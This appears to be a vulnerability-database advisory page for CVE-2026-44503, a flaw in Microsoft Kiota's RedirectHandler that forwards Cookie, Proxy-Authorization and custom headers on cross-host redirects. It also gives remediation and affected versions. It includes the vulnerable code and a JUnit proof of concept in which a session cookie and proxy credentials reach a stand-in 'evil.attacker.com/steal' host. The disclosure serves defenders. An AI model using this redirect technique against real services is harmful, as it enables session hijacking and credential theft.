Loading...
Skip to main content

CVE-2026-44503 — Vulnerability in...

HIGH

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

Published May 7, 2026Updated September 10, 2026Source: osv

Summary

### Summary The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. This vulnerability is present in the RedirectHandlers for: https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go ### Details Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target. This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation. Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier: ``` boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme()); boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString()); if (!sameScheme || !sameHost) { requestBuilder.removeHeader("Authorization"); // BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed } ``` ### PoC 1. Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java 2. Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java With this content: ``` package com.microsoft.kiota.http.middleware; import static org.junit.jupiter.api.Assertions.*; import com.microsoft.kiota.http.KiotaClientFactory; import okhttp3.*; import okhttp3.mockwebserver.*; import org.junit.jupiter.api.Test; public class SecurityPoC { @Test void crossHostRedirectLeaksCookies() throws Exception { Request original = new Request.Builder() .url("http://trusted.example.com/api") .addHeader("Authorization", "Bearer token") .addHeader("Cookie", "session=SECRET") .addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==") .build(); Response redirect = new Response.Builder() .request(original).protocol(Protocol.HTTP_1_1) .code(302).message("Found") .header("Location", "http://evil.attacker.com/steal") .body(ResponseBody.create("", MediaType.parse("text/plain"))) .build(); Request result = new RedirectHandler().getRedirect(original, redirect); assertNotNull(result); assertEquals("evil.attacker.com", result.url().host()); assertNull(result.header("Authorization")); // stripped (good) assertEquals("session=SECRET", result.header("Cookie")); // LEAKED assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED } @Test void endToEndProof() throws Exception { var evil = new MockWebServer(); evil.start(); evil.enqueue(new MockResponse().setResponseCode(200)); var trusted = new MockWebServer(); trusted.start(); trusted.enqueue(new MockResponse().setResponseCode(302) .setHeader("Location", evil.url("/steal"))); OkHttpClient client = KiotaClientFactory.create( new Interceptor[]{new RedirectHandler()}).build(); client.newCall(new Request.Builder().url(trusted.url("/api")) .addHeader("Cookie", "session=SECRET").build()).execute(); trusted.takeRequest(); RecordedRequest captured = evil.takeRequest(); assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server evil.shutdown(); trusted.shutdown(); } } ``` 3. Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC" 4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect. ### Impact The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type. Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request. Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.) All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Advisory Timeline

  • First published May 7, 2026 (158 days ago).
  • Last revised September 10, 2026 — 126 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update com.microsoft.kiota:microsoft-kiota-abstractions to 1.9.1 or later
<!-- Update pom.xml dependency version to 1.9.1 for com.microsoft.kiota:microsoft-kiota-abstractions -->
NuGet
Update Microsoft.Kiota.Abstractions to 1.22.0 or later
dotnet add package Microsoft.Kiota.Abstractions --version 1.22.0
npm
Update kiota-typescript to 1.0.0-preview.100 or later
npm install kiota-typescript@1.0.0-preview.100
pip
Update microsoft-kiota-http to 1.9.9 or later
pip install "microsoft-kiota-http>=1.9.9"
Go
Update github.com/microsoft/kiota-http-go to 1.5.5 or later
go get github.com/microsoft/kiota-http-go@v1.5.5

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 5 ecosystems: go (1), maven (1), npm (1), nuget (1), pypi (1).

PackageEcosystemAffectedFixed In
com.microsoft.kiota:microsoft-kiota-abstractions
maven
0.1.2, 0.10.0, 0.11.0, 0.11.1 (+76 more)1.9.1
Microsoft.Kiota.Abstractions
nuget
1.0.0, 1.0.1, 1.1.0, 1.1.1 (+84 more)1.22.0
kiota-typescript
npm
All versions1.0.0-preview.100
microsoft-kiota-http
pypi
0.1.0, 0.1.1, 0.1.2, 0.2.0 (+49 more)1.9.9
github.com/microsoft/kiota-http-go
go
All versions1.5.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-44503?
Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.0/10).
How do I check if my project is affected by CVE-2026-44503?
CVE-2026-44503 affects com.microsoft.kiota:microsoft-kiota-abstractions, Microsoft.Kiota.Abstractions and kiota-typescript (and 2 more). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44503 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.0

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-7j59-v9qr-6fq9
GO-2026-5224
PYSEC-2026-2647

Related CVEs

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies